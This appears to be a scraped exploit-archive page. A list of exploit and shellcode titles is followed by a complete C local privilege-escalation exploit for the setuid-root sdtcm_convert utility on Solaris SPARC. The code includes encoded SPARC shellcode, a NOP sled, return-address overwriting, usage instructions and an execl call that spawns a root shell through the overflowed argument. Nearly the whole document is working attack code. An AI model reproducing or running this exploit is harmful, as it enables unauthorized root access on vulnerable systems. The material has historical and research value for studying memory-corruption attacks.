
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
78 lines
No EOL
2.4 KiB
C
78 lines
No EOL
2.4 KiB
C
/*
|
|
source: https://www.securityfocus.com/bid/166/info
|
|
|
|
Sdtcm_convert is a setuid-root data conversion utility which converts OpenWindows version 3 calendar data files to version 4 and vice versa. A buffer overflow condition has been found in sdtcm_convert which may be exploited to obtain root access.
|
|
*/
|
|
|
|
/*=============================================================================
|
|
sdtcm_convert Overflow Exploits( for Sparc Edition)
|
|
The Shadow Penguin Security (http://base.oc.to:/skyscraper/byte/551)
|
|
Written by UNYUN (unewn4th@usa.net)
|
|
|
|
[usage]
|
|
% gcc ex_sdtcm_convert.c (This example program)
|
|
% a.out
|
|
If no response, hit ctrl+c
|
|
#
|
|
|
|
=============================================================================
|
|
*/
|
|
|
|
#define ADJUST 2
|
|
#define OFFSET1 4000
|
|
#define LENGTH1 260
|
|
#define OFFSET2 6000
|
|
#define LENGTH2 1000
|
|
#define OFFSET3 6000+16*30
|
|
|
|
#define NOP 0xa61cc013
|
|
|
|
char exploit_code[] =
|
|
"\x82\x10\x20\x17\x91\xd0\x20\x08"
|
|
"\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
|
|
"\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
|
|
"\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
|
|
"\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
|
|
"\x82\x10\x20\x3b\x91\xd4\xff\xff";
|
|
|
|
unsigned long get_sp(void)
|
|
{
|
|
__asm__("mov %sp,%i0 \n");
|
|
}
|
|
|
|
unsigned long ret_adr;
|
|
int i;
|
|
|
|
main()
|
|
{
|
|
static char x[11000];
|
|
|
|
memset(x,'a',10000);
|
|
ret_adr=get_sp()-6300;
|
|
for (i = 0; i < 5000 ; i+=4){
|
|
x[i+3]=ret_adr & 0xff;
|
|
x[i+2]=(ret_adr >> 8 ) &0xff;
|
|
x[i+1]=(ret_adr >> 16 ) &0xff;
|
|
x[i+0]=(ret_adr >> 24 ) &0xff;
|
|
}
|
|
ret_adr=get_sp() - 10200;
|
|
if ((ret_adr & 0xff )==0) ret_adr+=4;
|
|
printf("%lx\n",ret_adr);
|
|
for (i = OFFSET1+ADJUST; i < OFFSET1+LENGTH1 ; i+=4){
|
|
x[i+3]=ret_adr & 0xff;
|
|
x[i+2]=(ret_adr >> 8 ) &0xff;
|
|
x[i+1]=(ret_adr >> 16 ) &0xff;
|
|
x[i+0]=(ret_adr >> 24 ) &0xff;
|
|
}
|
|
for (i = OFFSET2+ADJUST; i < OFFSET2+LENGTH2 ; i+=4){
|
|
x[i+3]=NOP & 0xff;
|
|
x[i+2]=(NOP >> 8 ) &0xff;
|
|
x[i+1]=(NOP >> 16 ) &0xff;
|
|
x[i+0]=(NOP >> 24 ) &0xff;
|
|
}
|
|
for (i=0;i<strlen(exploit_code);i++)
|
|
x[OFFSET3+ADJUST+i]=exploit_code[i];
|
|
x[10000]=0;
|
|
execl("/usr/dt/bin/sdtcm_convert", "sdtcm_convert",
|
|
"-d",x,"test",(char *) 0);
|
|
} |